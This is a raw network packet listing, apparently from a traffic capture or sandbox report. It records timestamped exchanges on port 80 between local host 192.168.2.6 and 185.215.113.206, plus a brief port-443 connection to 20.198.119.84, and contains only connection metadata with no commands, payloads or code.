Dec 23, 2024 06:53:55.825553894 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.825599909 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.826586962 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.826637983 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.826704025 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.826747894 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.827944994 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.827999115 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.828071117 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.828114986 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.829467058 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.829514027 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.829647064 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.829699039 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.830626965 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.830677032 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.830729961 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.830771923 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.832055092 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.832118988 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.832143068 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.832179070 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.833435059 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.833491087 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.833534956 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.833575964 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.834613085 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.834664106 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.834706068 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.834774017 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.835959911 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.836009026 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.836078882 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.836126089 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.837289095 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.837347984 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.837363005 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.837400913 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.837961912 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.838046074 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.838077068 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.838161945 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.838659048 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.838701010 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.838769913 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.838881016 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.839400053 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.839453936 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.851728916 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.851779938 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.851880074 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.851923943 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.852148056 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.852202892 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.852292061 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.852334976 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.852802992 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.852849960 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.852912903 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.852967978 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.853514910 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.853558064 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.853581905 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.853624105 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.854254007 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.854296923 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.854351997 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.854393959 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.854943037 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.854986906 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.855092049 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.855134964 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.855653048 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.855691910 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.855765104 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.855802059 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.856400967 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.856446028 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.856509924 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.856556892 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.857328892 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.857373953 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.857472897 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.857513905 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.857867956 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.857912064 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.857992887 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.858040094 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.858552933 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.858592987 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.858652115 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.858690023 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.859216928 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.859261990 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.859335899 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.859375954 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.859922886 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.859967947 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.860032082 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.860074997 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.860670090 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.860708952 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.914323092 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.914381027 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.914495945 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.914534092 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.914691925 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.914732933 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.914753914 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.914788008 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.915345907 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.915389061 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.915493965 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.915534019 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.916042089 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.916081905 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.916143894 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.916191101 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.916825056 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.916868925 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.916924953 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.916976929 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.917442083 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.917481899 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.917541981 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.917581081 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.918113947 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.918163061 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.918194056 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.918231010 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.918828964 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.918865919 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.918937922 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.918979883 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.919501066 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.919542074 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.919601917 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.919636011 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.920257092 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.920291901 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.920309067 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.920345068 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.920892954 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.920926094 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.920977116 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.921011925 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.921565056 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.921601057 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.921662092 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.921695948 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.922261953 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.922297955 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.922321081 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.922350883 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.922947884 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.922982931 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.923078060 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.923111916 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.923655987 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.923695087 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.923753023 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.923784971 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.924310923 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.924350023 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.924407959 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.924448013 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.925020933 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.925061941 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.925081015 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.925123930 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.925744057 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.925779104 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.925865889 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.925904036 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.926357031 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.926392078 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.926456928 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.926491022 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.927056074 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.927098989 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.927156925 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.927190065 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.927706957 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.927748919 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.927829981 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.927866936 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.928395987 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.928431034 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.928495884 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.928543091 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.929059982 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.929097891 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.929127932 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.929162979 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.929727077 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.929765940 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.929857016 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.929894924 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.930397987 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.930438042 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.930496931 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.930532932 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.931082964 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.931121111 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.931185007 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.931214094 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.931751013 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.931792021 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.931799889 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.931832075 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.977406025 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.977461100 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.977493048 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.977513075 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.977524042 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.977550030 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.977828026 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.977875948 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.977899075 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.977933884 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.977942944 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.977978945 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.978744030 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.978786945 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.978840113 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.978852987 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.978880882 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.978893995 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.979614973 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.979666948 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.979717970 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.979728937 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.979754925 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.979775906 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.980520010 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.980565071 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.980621099 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.980631113 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.980662107 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.980674028 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.981383085 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.981430054 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.981458902 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.981470108 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.981497049 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.981507063 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.982237101 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.982280016 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.982337952 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.982348919 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.982403040 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.983102083 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.983139992 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.983201027 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.983215094 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.983242989 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.983257055 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.983942032 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.983994007 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.984014988 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.984025955 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.984042883 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.984057903 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:56.043860912 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:56.043906927 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:56.043943882 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:56.043956995 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:56.043983936 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:56.044002056 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:56.044287920 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:56.044327021 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:56.044399977 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:56.044411898 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:56.044440985 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:56.045137882 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:56.045177937 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:56.045237064 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:56.045248985 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:56.045280933 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:56.045300007 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:56.045994043 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:56.046041965 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:56.046106100 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:56.046117067 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:56.046148062 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:56.046156883 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:56.046876907 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:56.046928883 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:56.046957970 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:56.046969891 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:56.046996117 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:56.047019005 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:56.047710896 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:56.047759056 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:56.047827959 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:56.047842026 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:56.047872066 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:56.047883987 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:56.048578024 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:56.048624992 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:56.048655987 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:56.048669100 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:56.048696041 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:56.048713923 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:56.049424887 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:56.049465895 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:56.049525023 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:56.049537897 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:56.049560070 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:56.049573898 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:56.050271034 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:56.050307989 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:56.050371885 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:56.050383091 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:56.050405979 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:56.050419092 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:56.082962036 CET	49809	443	192.168.2.6	20.198.119.84
Dec 23, 2024 06:53:56.083007097 CET	443	49809	20.198.119.84	192.168.2.6
Dec 23, 2024 06:53:56.083069086 CET	49809	443	192.168.2.6	20.198.119.84
Dec 23, 2024 06:53:56.083977938 CET	49809	443	192.168.2.6	20.198.119.84
Dec 23, 2024 06:53:56.083997011 CET	443	49809	20.198.119.84	192.168.2.6
Dec 23, 2024 06:53:56.106293917 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:56.106336117 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:56.106344938 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:56.106379032 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:56.106437922 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:56.106476068 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:56.106590986 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:56.106604099 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:56.106627941 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:56.106646061 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:56.107310057 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:56.107357025 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:56.107412100 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:56.107424974 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:56.107453108 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:56.107461929 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:56.108151913 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:56.108197927 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:56.108267069 CET	80	49793	185.215.113.206	192.168.2.6
